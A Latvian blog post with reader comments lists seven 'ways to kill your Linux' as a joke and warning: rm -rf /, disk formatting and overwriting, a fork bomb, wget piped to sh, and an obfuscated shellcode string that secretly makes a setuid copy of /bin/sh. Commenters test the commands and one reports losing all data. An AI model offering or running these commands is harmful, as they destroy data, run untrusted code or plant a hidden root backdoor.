7 lieliski veidi kā konsolē piebeigt savu Linux
1. Code:
rm -rf /
2. Code:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ =
“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
3. Code:
mkfs.ext3 /dev/sda
4. Code:
){:|:&};:
5. Code:
any_command > /dev/sda
6. Code:
wget http://some_untrusted_source -O- | sh
7. Code:
mv /home/yourhomedirectory/* /dev/null
Avots: www.junauza.com
Šis vairāk humoram un nedaudz pamācība pilnīgam iesācējam. Unix sistēma root lietotājam dod maksimālas iespējas… Visu mēģinājis neesmu, bet 1. Code un 7. Code darbojas perfekti.



1. Klasika
2. Patlaban nejūtos gana kruts, lai tur urbots iekšā, un saprastu, ko tas dara.
3. Duh.
4. Nope, forkbomb nav tik bīstams.
5. Mhm, viela pārdomām par to, cik viegli root var iznīcināt visu, kam nav droši backupi.
6. Galīgi nav garantēts, ka būs slikti.
7. “sudo mv $HOME /dev/null” tikai tas nepiebeigs sistēmu, bet gan tikai jūzera failus.
Nav tik bīstams, nav tik bīstams, BET… Cilvēkiem, kuri mīl “ērtības labad” atstāt noklusētās root tiesības, pamats bažām- jebkurš var piedāvāt lejupielādēt tādu bash-u – piemēram, it kā foršu tūli vai eye candy rīku…
Tas tā- pamats pārdomām par malware iespējamību uz linux…
Bet, varbūt, man nav taisnība un tik un tā viss ir čikeniekā?
1. Nekādu root nevajag – palaid forkbomb kā jūzeris – tāpat būs “jautri”, ja vien nav kārtīgi limitēti sistēmas resursi.
2. Kāds tev malware? Kā minimums jāpievieno .bashrc, lai to nosauktu par malware.
3. Jā, lielā mērā tev nav taisnība (tādēļ rekomendēju uzzināt vairāk par drošību, lai vari pēc tam pamācīt citus).
1. rm -rf /
rm: it is dangerous to operate recursively on `/’
rm: use –no-preserve-root to override this failsafe
2. char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ =
bash: syntax error near unexpected token `(‘
3. mkfs.ext3 /dev/sda
mke2fs 1.41.10 (10-Feb-2009)
/dev/sda is entire device, not just one partition!
mkfs.ext3 /dev/sda1
mke2fs 1.41.10 (10-Feb-2009)
/dev/sda1 is mounted; will not make a filesystem here!
4.
){:|:&};:
bash: syntax error near unexpected token `{:’
5.foo > /dev/sda
bash: /dev/sda: Permission denied
6. tāpat skaidrs ka nedarbosies.
7. mv /home/user/* /dev/null
mv: target `/dev/null’ is not a directory
@te nu bij’
Ne visi lieto bash un sistēmas, kas seko līdzi rm komandas darbībām… Piekrītu, ka dažām komandām pietrūkst parametru un prasās pēc mūsdienīgākiem uzlabojumiem, bet klasika “rm -rf /” spēj nodarīt lielu ļaunumu…
Es tik gribēju paekspermentēt un parādīt output arī cietiem.
3. ir vienkārši jāpielabo. “umount /dev/sda1 && mkfs.ext3 /dev/sda1 [argumenti -whatever]” Vismaz uz draiviem kas nav norādīti fstabs šis caurums darbojas.
*facepalm*
3. Garām. Tas nav caurums, jo root būtība ir tiesības smagi sačakarēt sistēmu – tāpēc jau ir jābūt kontrolei, kam ir pieejamas root permas. Un atmontēt var to, kas nav lietošanā. / pēc būtības ir gandrīz visu laiku lietošanā, tādēļ to nevar tā vienkārši atmontēt (un sekas tam būtu diezgan interesantas). Var vienīgi mēģināt “mount -f -o remount,ro /”, taču arī tas visdrīzāk neiec cauri, ja kāda programma lieto /.
4. tev ir drukas kļūda, aizvāc to ` no rindiņas sākuma, un aiziet jūriņā!
5. Bet tu to kā root izdarīji? Un kas tas tāds foo vispār ir?
uz trešo iekritu domādams ka mainu FS attālinātās mašīnas montētajam diskam. diemžēl sajaucu konsoles un izdariju to ar savu datoru
visi dati metami, neko nevarēju atjaunot
@Jancis
Lūk kādam būšu palīdzējis
Root piemontētās partīcijas parastais lietotājs nevar nomontēt un sabojāt, punkts. Ja dari to ar root permisijām, tad tas vairs nav caurums.